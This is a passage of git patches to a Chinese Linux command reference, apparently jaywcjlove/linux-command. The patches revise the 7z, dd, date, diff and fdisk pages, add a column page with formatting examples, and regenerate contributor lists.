<7850715+maboloshi@users.noreply.github.com> Date: Thu, 28 Dec 2023 19:27:40 +0800 Subject: [PATCH 274/570] doc: update 7z.md (#549) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update 7z.md 1.新增`提取制定文件`示例 2.`archive` 统一翻译为压缩包 3.新增部分开关描述 * Update 7z.md --- command/7z.md | 94 +++++++++++++++++++++++++++++++-------------------- 1 file changed, 58 insertions(+), 36 deletions(-) diff --git a/command/7z.md b/command/7z.md index 9833fcbe35f..9a683a3389b 100644 --- a/command/7z.md +++ b/command/7z.md @@ -31,17 +31,24 @@ yum install p7zip p7zip-plugins 2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。 ```bash -# 注意 -o 用来指定解压缩文件存放目录，-o 后是没有空格的,直接接目录 +# 注意 -o 用来指定解压缩文件存放目录，-o 后是没有空格的，直接接目录 7z x text.7z -r -o/home/text ``` -3、将文件 /home/text 压缩成 text.7z。 +3、将压缩文件 text.7z 中的 `dir1/dir2` 和 `dir1/file1` 提取到在指定目录(/home/text)下（保持原有路径结构）。 + +```bash +# 注意 dir1/dir2，dir1/file1 为压缩包中文件或文件夹路径 +7z x text.7z dir1/dir2 dir1/file1 -o/home/text +``` + +4、将文件 /home/text 压缩成 text.7z。 ```bash 7z a text.7z -r /home/text ``` -4、查看压缩包 text.7z 内容，但不解压。 +5、查看压缩包 text.7z 内容，但不解压。 ```bash 7z l text.7z @@ -53,62 +60,77 @@ yum install p7zip p7zip-plugins 使用方法： 7z <命令> [<开关>...] [...］ <命令> - a : 添加文件到存档 + a : 添加文件到压缩包 b : 基准测试 - d : 从存档中删除文件 - e：从档案中提取文件（不使用目录名）。 - h：计算文件的哈希值 + d : 从压缩包中删除文件 + e : 从压缩包中提取文件（不使用目录名）。 + h : 计算文件的哈希值 i : 显示支持的格式信息 - l : 列出档案的内容 - rn : 重命名档案中的文件 - t : 测试档案的完整性 - u : 更新档案中的文件 + l : 列出压缩包的内容 + rn : 重命名压缩包中的文件 + t : 测试压缩包的完整性 + u : 更新压缩包中的文件 x : 提取完整路径的文件 <开关> - --：停止开关解析 - @listfile : 设置包含文件名的列表文件的路径 - -ai[r[-|0]]{@listfile|!wildcard} : 包括归档文件 - -ax[r[-|0]]{@listfile|!wildcard} : 排除档案。 + -- : 停止对 - 开头的开关和 @ 开头的文件列表的解析，为了允许 7-Zip 使用以 - 和 @ 开头的文件名。 + -ai[r[-|0]]{@listfile|!wildcard} : 包括指定压缩包文件 + -ax[r[-|0]]{@listfile|!wildcard} : 排除指定压缩包文件 -ao{a|s|t|u} : 设置覆写模式 - -an : 禁用档案名称字段 + -aoa 覆盖所有现有文件，无提示。 + -aos 跳过提取现有文件。 + -aou 自动重命名提取的文件（例如，name.txt 将重命名为 name_1.txt）。 + -aot 自动重命名现有文件（例如，name.txt 将重命名为 name_1.txt）。 + -an : 禁用压缩包名称字段解析，必须与 -ai 开关一起使用。 -bb[0-3] : 设置输出日志级别 + -bb0 禁用日志（默认）。 + -bb1 或 -bb 在日志中显示已处理文件的名称。 + -bb2 显示在压缩包文件中跳过的文件名称（对于 “提取” 操作）和重新打包的文件名称（对于 “添加” / “更新” 操作） + -bb3 显示 “添加” / “更新” 操作的其他操作（分析、复制）信息。 -bd : 禁用进度指示器 - -bs{o|e|p}{0|1|2}：设置输出/错误/进度行的输出流 + -bs{o|e|p}{0|1|2} : 设置输出/错误/进度行的输出流 + o 标准输出信息 + e 错误信息 + p 进度信息 + 0 禁用流 + 1 重定向到标准输出流 + 2 重定向到标准错误流 -bt : 显示执行时间统计 - -i[r[-|0]]{@listfile|！通配符} : 包括文件名 + -i[r[-|0]]{@listfile|!wildcard} : 包括文件名 -m{Parameters} : 设置压缩方法 - -mmt[N] : 设置CPU线程的数量 - -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强) + -mmt[N] : 设置 CPU 线程的数量 + -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强)，-mx0（不压缩） -o{Directory} : 设置输出目录 -p{Password} : 设置密码 -r[-|0] : 重新搜索子目录 - -sa{a|e|s} : 设置存档名称模式 - -scc{UTF-8|WIN|DOS}：设置控制台输入/输出的字符集。 - -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}}：设置列表文件的字符集。 - -scrc[CRC32|CRC64|SHA1|SHA256|*] ：为x、e、h命令设置哈希函数。 + -sa{a|e|s} : 设置压缩包名称模式 + -scc{UTF-8|WIN|DOS} : 设置控制台输入/输出的字符集。 + -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}} : 设置列表文件的字符集。 + -scrc[CRC32|CRC64|SHA1|SHA256|*] : 为x、e、h命令设置哈希函数。 -sdel : 压缩后删除文件 - -seml[.] : 通过电子邮件发送档案 - -sfx[{name}] : 创建SFX档案 - -si[{name}] : 从stdin读取数据 + -seml[.] : 通过电子邮件发送压缩包 + -sfx[{name}] : 创建 SFX 压缩包 + -si[{name}] : 从标准输入读取数据 -slp : 设置大型页面模式 -slt : 显示l（List）命令的技术信息 -snh : 将硬链接存储为链接 -snl : 将符号链接存储为链接 - -sni : 存储NT安全信息 - -sns[-] : 存储NTFS备用流 - -so : 向stdout写数据 + -sni : 存储 NT 安全信息 + -sns[-] : 存储 NTFS 备用流 + -so : 向标准输出写数据 -spd : 禁用文件名的通配符匹配 -spe : 消除提取命令中根文件夹的重复。 - -spf : 使用完全合格的文件路径 + -spf[2] : 使用完全合格的文件路径 -ssc[-] : 设置敏感的大小写模式 + -sse : 如果无法打开某些输入文件，则停止创建压缩包 + -ssp : 压缩包时不更改源文件的最后访问时间 -ssw : 压缩共享文件 - -stl : 从最近修改的文件设置存档时间戳 - -stm{HexMask} : 设置CPU线程亲和力掩码（十六进制数字）。 - -stx{Type} : 排除存档类型 - -t{Type} : 设置存档的类型 + -stl : 从最近修改的文件设置压缩包时间戳 + -stm{HexMask} : 设置 CPU 线程亲和力掩码（十六进制数字）。 + -stx{Type} : 排除压缩包类型 + -t{Type} : 设置压缩包的类型 -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 - -v{大小}[b|k|m|g] : 创建卷册 + -v{Size}[b|k|m|g] : 创建卷 -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 -y : 假设所有的查询都是肯定的 From 7c9a1c06647e5e71a32c783a105769c1241570c5 Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Sun, 31 Dec 2023 22:04:45 +0800 Subject: [PATCH 275/570] add column.md (#550) --- command/column.md | 123 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 command/column.md diff --git a/command/column.md b/command/column.md new file mode 100644 index 00000000000..62e30329471 --- /dev/null +++ b/command/column.md @@ -0,0 +1,123 @@ +column +=== + +按列格式化输出文件 + +## 概要 + +```shell +column [options] [file ...] +``` + +## 主要用途 + +- 将单列数据整理为多列显示，每行宽度可以指定，超出的部分自动换行。 +- 将多列数据进行快速整理，对齐每列的字符。 + +## 参数 + +file（可选），当没有指定文件时，默认会从标准输入读取，因此可以配合管道符使用。 + +## 选项 + +```shell +-c, --columns 输出宽度（以字符数表示） +-t, --table 创建一个表格（每列字符会对齐） +-s, --separator 指定识别表格的分隔符 +-o, --output-separator 输出表格的列分隔符，默认为两个空格 +-x, --fillrows 在列之前填充行 +-h, --help 显示此帮助 +-V, --version 输出版本信息 +``` + +## 返回值 + +格式化排列后的字符串。 + +## 示例 + +- 整理单列数据 + +```shell +# 生成 26 个英文字母， 每列一个 +$ for a in {a..z}; do echo $a; done > test + +# 每行最大 60 个字符 +$ cat test | column -c 60 +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 在上面的基础上，进一步整理，每列之间宽度默认两个空白符 +$ cat test | column -c 60 | column -t +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 指定每列之间用 ', ' 拼接 +$ cat test | column -c 60 | column -t -o ', ' +a, e, i, m, q, u, y +b, f, j, n, r, v, z +c, g, k, o, s, w +d, h, l, p, t, x +``` + +- 整理多列数据 + +```shell +# 现有如下内容较为凌乱的文本文件 test +$ cat test +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 列对齐 +$ cat test | column -t +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 将 ',' 和 ':' 也识别为分隔符 +$ cat test | column -t -s ',: ' +Address[0] Metal3 pin 133.175 159.92 +Address[1] Metal3 pin 112.38 159.92 +Address[2] Metal3 pin 70.775 159.92 +Address[3] Metal3 pin 41.655 159.92 +DataIn[0] Metal3 pin 66.615 159.92 +DataIn[1] Metal3 pin 37.495 159.92 +DataIn[2] Metal3 pin 122.88 159.92 +DataIn[3] Metal3 pin 95.74 159.92 +DataOut[0] Metal3 pin 45.815 159.92 +DataOut[1] Metal3 pin 79.095 159.92 +DataOut[2] Metal3 pin 104.055 159.92 +DataOut[3] Metal3 pin 62.46 159.92 +MemReq Metal3 pin 108.215 159.92 +RdWrBar Metal3 pin 87.415 159.92 +clock Metal3 pin 74.935 159.92 +``` From 8ce1016418bac4cdc69ff5339a8bbdc7b0c36124 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 31 Dec 2023 14:05:34 +0000 Subject: [PATCH 276/570] doc: update README.md. --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 8ba0051319b..031f689a7c8 100644 --- a/README.md +++ b/README.md @@ -468,6 +468,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell + + 沙漠之子 + Qliangw @@ -603,6 +606,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xu Chunyang + + YEUNGCHIE + Yan Sheng @@ -789,9 +795,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 极简XksA - - 沙漠之子 - 甲寅 From 06066f2cdabbae0feac6c385313deb28dbe58b0f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 31 Dec 2023 14:05:35 +0000 Subject: [PATCH 277/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cb025b2457d..9bdb2743d18 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -105,6 +105,9 @@ Shell + + 沙漠之子 + Qliangw @@ -240,6 +243,9 @@ Xu Chunyang + + YEUNGCHIE + Yan Sheng @@ -426,9 +432,6 @@ 极简XksA - - 沙漠之子 - 甲寅 From e9af515824a39e9d9ecb33b45198fe8027b58ba4 Mon Sep 17 00:00:00 2001 From: xhal <34055638+xhal@users.noreply.github.com> Date: Thu, 11 Jan 2024 14:53:38 +0800 Subject: [PATCH 278/570] doc: update dd.md (#552) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 补充7z/ab 安装命令及ab简单使用实例 * [dd] 增加参数说明及使用实例 * [7z/ab] == 修改为 === --- command/dd.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/command/dd.md b/command/dd.md index 749c94720cc..dd6e87568f8 100644 --- a/command/dd.md +++ b/command/dd.md @@ -24,6 +24,7 @@ conv=<关键字>：指定文件转换的方式； count=<区块数>：仅读取指定的区块数； ibs=<字节数>：每次读取的字节数； obs=<字节数>：每次输出的字节数； +if=<文件>：输入文件； of=<文件>：输出到文件； seek=<区块数>：一开始输出时，跳过指定的区块数； skip=<区块数>：一开始读取时，跳过指定的区块数； @@ -82,3 +83,19 @@ wFRAnlkXeBXmWs1MyGEs +**测试磁盘写入速度** + +```shell +[root@localhost ~]# dd if=/dev/zero of=/tmp/testfile bs=1G count=1 oflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 7.10845 s, 151 MB/s +``` + +**测试磁盘读取速度** +```shell +[root@localhost ~]# dd if=/tmp/testfile of=/dev/null bs=1G count=1 iflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 6.53009 s, 164 MB/s +``` From 8bb6835e272e911388b1191c87d12563a93b218e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jan 2024 06:54:11 +0000 Subject: [PATCH 279/570] doc: update README.md. --- README.md | 544 +++++++++++++++++++++++++++--------------------------- 1 file changed, 272 insertions(+), 272 deletions(-) diff --git a/README.md b/README.md index 031f689a7c8..3eccc26dd57 100644 --- a/README.md +++ b/README.md @@ -387,21 +387,21 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett - - - 丛林意志 + + 烟草的香味 Jayin Tang + + 丛林意志 + Zijing Zhang @@ -411,42 +411,63 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - James Wang + + ernest - - Lnkstls + + dulltackle - - SteveLauC + + 谈笑风生间 - - lavaicer + + rgshare loverainye - - rgshare + + lavaicer - - dulltackle + + SteveLauC - - ernest + + Lnkstls - - 谈笑风生间 + + James Wang - - BingCoke + + Qliangw - - Ein Verne + + Wang Jianing + + + alfred + + + 沙漠之子 + + + Shell + + + xhal + + + wVVaTT Pan, Wen-Ming + + Ein Verne + + + BingCoke + RichardLCD @@ -462,362 +483,341 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - wVVaTT + + shc - - Shell + + sfwwslm - - 沙漠之子 + + rexlin600 - - Qliangw + + oliver - - Wang Jianing + + noodles2hg - - alfred + + myliwenbo - - Alan + + cole - - DaYangtuo247 + + Ricardowang - - Danny + + linuxwd - - Divenire + + lewis1573 - - Frankie + + leo - - Guiying Li + + kid1412621 - - Herbert8 + + kassadin - - HighScorePlayer + + juemuren4449 - - Huntout Zhang + + jqz3.tech - - Jack + + jcdj666 - - Jack.A.Black + + huangyao - - Jeremy2214 + + gcluffy - - Nexchard + + ghy - - LaudOak + + gggwvg - - Legend + + gesty - - LexsionLee + + gedune - - 孟思行 + + gang.yang - - LinuxZilong + + ecjtusbs - - Lucien + + dongpohezui - - Wang + + Deny - - mwei + + dayday - - Marnm + + 黑&蛋 - - MinsonLee + + Panthea Johnson - - Mystic + + 远方 - - Ray Yee + + 谢民皆 - - Rining Wu + + Kyofin - - Robigus + + 继刚 - - Rocher + + 移动的红烧肉 - - 殇 + + 甲寅 - - SMVirus + + 极简XksA - - SevenSteven + + ReZero - - Shan Chenyu + + Loofra - - Azolla + + 徐伟 - - RoachZhao + + 尘埃 - - Spaghetti-C + + 宋小北 - - T-TRz879 + + 孤城落寞 - - Na Meng + + 七朔 - - Wingrez + + zyimm - - XBG + + zuixin369 - - Xiaodong DENG - - - Xonline-Tech - - - Xu Chunyang - - - YEUNGCHIE - - - Yan Sheng - - - Yunbin Liu - - - 0Knot (0KN) - - - alterem + + zoomdong - - One Person’s Revelry + + zodiac - - amit794 + + zjlovezj - - Ashine + + yanyx - - azureology + + Lingfeng Wang - - bell + + weibk - - brinkqiang + + UniqueDing - - c2ch + + tutianyu101 - - Forever121 + + tangke - - cxalc + + sunls24 - - dayday + + snovey - - Deny + + Rocher - - dongpohezui + + Robigus - - ecjtusbs + + Rining Wu - - gang.yang + + Ray Yee - - gedune + + Mystic - - gesty + + MinsonLee - - gggwvg + + Marnm - - ghy + + mwei - - gcluffy + + Wang - - huangyao + + Lucien - - jcdj666 + + LinuxZilong - - jqz3.tech + + 孟思行 - - juemuren4449 + + LexsionLee - - kassadin + + Legend - - kid1412621 + + LaudOak - - leo + + Nexchard - - lewis1573 + + Jeremy2214 - - linuxwd + + Jack.A.Black - - Ricardowang + + Jack - - cole + + Huntout Zhang - - myliwenbo + + HighScorePlayer - - noodles2hg + + Herbert8 - - oliver + + Guiying Li - - rexlin600 + + Frankie - - sfwwslm + + Divenire - - shc + + Danny - - snovey + + DaYangtuo247 - - sunls24 + + Alan - - tangke + + cxalc - - tutianyu101 + + Forever121 - - UniqueDing + + c2ch - - weibk + + brinkqiang - - Lingfeng Wang + + bell - - xhal + + azureology - - yanyx + + Ashine - - zjlovezj + + amit794 - - zodiac + + One Person’s Revelry - - zoomdong + + alterem - - zuixin369 + + 0Knot (0KN) - - zyimm + + Yunbin Liu - - 七朔 + + Yan Sheng - - 孤城落寞 + + YEUNGCHIE - - 宋小北 + + Xu Chunyang - - 尘埃 + + Xonline-Tech - - 徐伟 + + Xiaodong DENG - - Loofra + + XBG - - ReZero + + Wingrez - - 极简XksA + + Na Meng - - 甲寅 + + T-TRz879 - - 移动的红烧肉 + + Spaghetti-C - - 继刚 + + RoachZhao - - Kyofin + + Azolla - - 谢民皆 + + Shan Chenyu - - 远方 + + SevenSteven - - Panthea Johnson + + SMVirus - - 黑&蛋 + + 殇 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ab0cc031eef406c2d7e4e613256505587c2b4d4f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jan 2024 06:54:12 +0000 Subject: [PATCH 280/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 544 +++++++++++++++++++------------------- 1 file changed, 272 insertions(+), 272 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9bdb2743d18..08c2b67443e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,21 +24,21 @@ clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett - - - 丛林意志 + + 烟草的香味 Jayin Tang + + 丛林意志 + Zijing Zhang @@ -48,42 +48,63 @@ __FresHmaN - - James Wang + + ernest - - Lnkstls + + dulltackle - - SteveLauC + + 谈笑风生间 - - lavaicer + + rgshare loverainye - - rgshare + + lavaicer - - dulltackle + + SteveLauC - - ernest + + Lnkstls - - 谈笑风生间 + + James Wang - - BingCoke + + Qliangw - - Ein Verne + + Wang Jianing + + + alfred + + + 沙漠之子 + + + Shell + + + xhal + + + wVVaTT Pan, Wen-Ming + + Ein Verne + + + BingCoke + RichardLCD @@ -99,362 +120,341 @@ Dazhuangw - - wVVaTT + + shc - - Shell + + sfwwslm - - 沙漠之子 + + rexlin600 - - Qliangw + + oliver - - Wang Jianing + + noodles2hg - - alfred + + myliwenbo - - Alan + + cole - - DaYangtuo247 + + Ricardowang - - Danny + + linuxwd - - Divenire + + lewis1573 - - Frankie + + leo - - Guiying Li + + kid1412621 - - Herbert8 + + kassadin - - HighScorePlayer + + juemuren4449 - - Huntout Zhang + + jqz3.tech - - Jack + + jcdj666 - - Jack.A.Black + + huangyao - - Jeremy2214 + + gcluffy - - Nexchard + + ghy - - LaudOak + + gggwvg - - Legend + + gesty - - LexsionLee + + gedune - - 孟思行 + + gang.yang - - LinuxZilong + + ecjtusbs - - Lucien + + dongpohezui - - Wang + + Deny - - mwei + + dayday - - Marnm + + 黑&蛋 - - MinsonLee + + Panthea Johnson - - Mystic + + 远方 - - Ray Yee + + 谢民皆 - - Rining Wu + + Kyofin - - Robigus + + 继刚 - - Rocher + + 移动的红烧肉 - - 殇 + + 甲寅 - - SMVirus + + 极简XksA - - SevenSteven + + ReZero - - Shan Chenyu + + Loofra - - Azolla + + 徐伟 - - RoachZhao + + 尘埃 - - Spaghetti-C + + 宋小北 - - T-TRz879 + + 孤城落寞 - - Na Meng + + 七朔 - - Wingrez + + zyimm - - XBG + + zuixin369 - - Xiaodong DENG - - - Xonline-Tech - - - Xu Chunyang - - - YEUNGCHIE - - - Yan Sheng - - - Yunbin Liu - - - 0Knot (0KN) - - - alterem + + zoomdong - - One Person’s Revelry + + zodiac - - amit794 + + zjlovezj - - Ashine + + yanyx - - azureology + + Lingfeng Wang - - bell + + weibk - - brinkqiang + + UniqueDing - - c2ch + + tutianyu101 - - Forever121 + + tangke - - cxalc + + sunls24 - - dayday + + snovey - - Deny + + Rocher - - dongpohezui + + Robigus - - ecjtusbs + + Rining Wu - - gang.yang + + Ray Yee - - gedune + + Mystic - - gesty + + MinsonLee - - gggwvg + + Marnm - - ghy + + mwei - - gcluffy + + Wang - - huangyao + + Lucien - - jcdj666 + + LinuxZilong - - jqz3.tech + + 孟思行 - - juemuren4449 + + LexsionLee - - kassadin + + Legend - - kid1412621 + + LaudOak - - leo + + Nexchard - - lewis1573 + + Jeremy2214 - - linuxwd + + Jack.A.Black - - Ricardowang + + Jack - - cole + + Huntout Zhang - - myliwenbo + + HighScorePlayer - - noodles2hg + + Herbert8 - - oliver + + Guiying Li - - rexlin600 + + Frankie - - sfwwslm + + Divenire - - shc + + Danny - - snovey + + DaYangtuo247 - - sunls24 + + Alan - - tangke + + cxalc - - tutianyu101 + + Forever121 - - UniqueDing + + c2ch - - weibk + + brinkqiang - - Lingfeng Wang + + bell - - xhal + + azureology - - yanyx + + Ashine - - zjlovezj + + amit794 - - zodiac + + One Person’s Revelry - - zoomdong + + alterem - - zuixin369 + + 0Knot (0KN) - - zyimm + + Yunbin Liu - - 七朔 + + Yan Sheng - - 孤城落寞 + + YEUNGCHIE - - 宋小北 + + Xu Chunyang - - 尘埃 + + Xonline-Tech - - 徐伟 + + Xiaodong DENG - - Loofra + + XBG - - ReZero + + Wingrez - - 极简XksA + + Na Meng - - 甲寅 + + T-TRz879 - - 移动的红烧肉 + + Spaghetti-C - - 继刚 + + RoachZhao - - Kyofin + + Azolla - - 谢民皆 + + Shan Chenyu - - 远方 + + SevenSteven - - Panthea Johnson + + SMVirus - - 黑&蛋 + + 殇

    - 加载指定的插件程序 +仿真选项： + 没有仿真特有的选项 ``` -ar：支持的目标： elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex - ### 实例 打包文件 diff --git a/command/date.md b/command/date.md index e6b65ab671c..7d0dae3945b 100644 --- a/command/date.md +++ b/command/date.md @@ -90,11 +90,9 @@ _ (下划线) 使用空格填充相应的字段。 -d, --date=STRING 解析字符串并按照指定格式输出，字符串不能是'now'。 --debug 注释已解析的日期，并将有疑问的用法发送到标准错误。 -f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。 --I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出，FMT可以为'date'(默认)，'hours'，'minutes'，'seconds'，'ns'。 - 例如：2006-08-14T02:34:56-06:00 +-I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出，FMT可以为'date'(默认)，'hours'，'minutes'，'seconds'，'ns'。例如：2006-08-14T02:34:56-06:00 -R, --rfc-email 按照RFC 5322格式输出，例如: Mon, 14 Aug 2006 02:34:56 -0600 ---rfc-3339=FMT 按照RFC 3339格式输出，FMT可以为'date', 'seconds','ns'中的一个， - 例如：2006-08-14 02:34:56-06:00 +--rfc-3339=FMT 按照RFC 3339格式输出，FMT可以为'date', 'seconds','ns'中的一个，例如：2006-08-14 02:34:56-06:00 -r, --reference=FILE 显示文件的上次修改时间。 -s, --set=STRING 根据字符串设置系统时间。 -u, --utc, --universal 显示或设置世界协调时(UTC)。 diff --git a/command/diff.md b/command/diff.md index 56fcfbbda24..e3f177a1a72 100644 --- a/command/diff.md +++ b/command/diff.md @@ -17,31 +17,31 @@ diff(选项)(参数) ```shell -<行数>：指定要显示多少行的文本。此参数必须与-c或-u参数一并使用； --a或——text：diff预设只会逐行比较文本文件； +-a或--text：diff预设只会逐行比较文本文件； -b或--ignore-space-change：不检查空格字符的不同； -B或--ignore-blank-lines：不检查空白行； -c：显示全部内容，并标出不同之处； -C<行数>或--context<行数>：与执行“-c-<行数>”指令相同； --d或——minimal：使用不同的演算法，以小的单位来做比较； +-d或--minimal：使用不同的演算法，以小的单位来做比较； -D<巨集名称>或ifdef<巨集名称>：此参数的输出格式可用于前置处理器巨集； --e或——ed：此参数的输出格式可用于ed的script文件； +-e或--ed：此参数的输出格式可用于ed的script文件； -f或-forward-ed：输出的格式类似ed的script文件，但按照原来文件的顺序来显示不同处； -H或--speed-large-files：比较大文件时，可加快速度； -l<字符或字符串>或--ignore-matching-lines<字符或字符串>：若两个文件在某几行有所不同，而之际航同时都包含了选项中指定的字符或字符串，则不显示这两个文件的差异； -i或--ignore-case：不检查大小写的不同； --l或——paginate：将结果交由pr程序来分页； --n或——rcs：将比较结果以RCS的格式来显示； +-l或--paginate：将结果交由pr程序来分页； +-n或--rcs：将比较结果以RCS的格式来显示； -N或--new-file：在比较目录时，若文件A仅出现在某个目录中，预设会显示：Only in目录，文件A 若使用-N参数，则diff会将文件A 与一个空白的文件比较； -p：若比较的文件为C语言的程序码文件时，显示差异所在的函数名称； -P或--unidirectional-new-file：与-N类似，但只有当第二个目录包含了第一个目录所没有的文件时，才会将这个文件与空白的文件做比较； -q或--brief：仅显示有无差异，不显示详细的信息； --r或——recursive：比较子目录中的文件； +-r或--recursive：比较子目录中的文件； -s或--report-identical-files：若没有发现任何差异，仍然显示信息； -S<文件>或--starting-file<文件>：在比较目录时，从指定的文件开始比较； -t或--expand-tabs：在输出时，将tab字符展开； -T或--initial-tab：在每行前面加上tab字符以便对齐； -u，-U<列数>或--unified=<列数>：以合并的方式来显示文件内容的不同； --v或——version：显示版本信息； +-v或--version：显示版本信息； -w或--ignore-all-space：忽略全部的空格字符； -W<宽度>或--width<宽度>：在使用-y参数时，指定栏宽； -x<文件名或目录>或--exclude<文件名或目录>：不比较选项中所指定的文件或目录； @@ -54,8 +54,8 @@ diff(选项)(参数) ### 参数 -* 文件1：指定要比较的第一个文件； -* 文件2：指定要比较的第二个文件。 +* 文件1：指定要比较的第一个文件； +* 文件2：指定要比较的第二个文件。 ### 实例 @@ -71,7 +71,7 @@ diff a.txt b.txt diff -c a.txt b.txt ``` -``` +```shell 　　*** a1.txt 2012-08-29 16:45:41.000000000 +0800 　　--- a2.txt 2012-08-29 16:45:51.000000000 +0800 　　*************** @@ -99,7 +99,7 @@ diff -c a.txt b.txt diff -u a.txt b.txt ``` -``` +```shell 　　--- a.txt 2012-08-29 16:45:41.000000000 +0800 　　+++ b.txt 2012-08-29 16:45:51.000000000 +0800 　　@@ -1,7 +1,7 @@ diff --git a/command/exit.md b/command/exit.md index 5ba8a4ef490..7c48de8b314 100644 --- a/command/exit.md +++ b/command/exit.md @@ -72,6 +72,6 @@ fi ### 注意 -1. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 +1. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 diff --git a/command/fdisk.md b/command/fdisk.md index 3bce73b1f29..ca678e90394 100644 --- a/command/fdisk.md +++ b/command/fdisk.md @@ -10,20 +10,37 @@ fdisk ### 语法 ```shell -fdisk(选项)(参数) +fdisk [选项] <磁盘> 更改分区表 +fdisk [选项] -l [<磁盘>...] 列出分区表 ``` ### 选项 ```shell - -b <大小> 扇区大小(512、1024、2048或4096) - -c[=<模式>] 兼容模式：“dos”或“nondos”(默认) - -h 打印此帮助文本 - -u[=<单位>] 显示单位：“cylinders”(柱面)或“sectors”(扇区，默认) - -v 打印程序版本 - -C <数字> 指定柱面数 - -H <数字> 指定磁头数 - -S <数字> 指定每个磁道的扇区数 + +选项： + -b, --sectors-size <大小> 显示扇区计数和大小 + -B, --protect-boot 创建新标签时不要擦除 bootbits + -c, --compatibility[=<模式>] 模式，为“dos”或“nondos”(默认) + -L, --color[=<时机>] 彩色输出（auto, always 或 never）默认启用颜色 + -l, --list 显示分区并退出 + -x, --list-details 类似 --list 但提供更多细节 + -n, --noauto-pt 不要在空设备上创建默认分区表 + -o, --output <列表> 输出列 + -t, --type <类型> 只识别指定的分区表类型 + -u, --units[=<单位>] 显示单位，“cylinders”柱面或“sectors”扇区(默认) + -s, --getsz 以 512-字节扇区显示设备大小[已废弃] + -b, --bytes 以字节为单位而非易读的格式来打印 SIZE + --lock[=<模式>] 使用独占设备锁（yes、no 或 nonblock） + -w, --wipe <模式> 擦除签名（auto, always 或 never） + -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never) + + -C, --cylinders <数字> 指定柱面数 + -H, --heads <数字> 指定磁头数 + -S, --sectors <数字> 指定每条磁道的扇区数 + + -h, --help 显示此帮助 + -V, --version 显示版本 ``` ### 参数 diff --git a/command/fgrep.md b/command/fgrep.md index 5bbb737d87e..fa64eaf0316 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -9,13 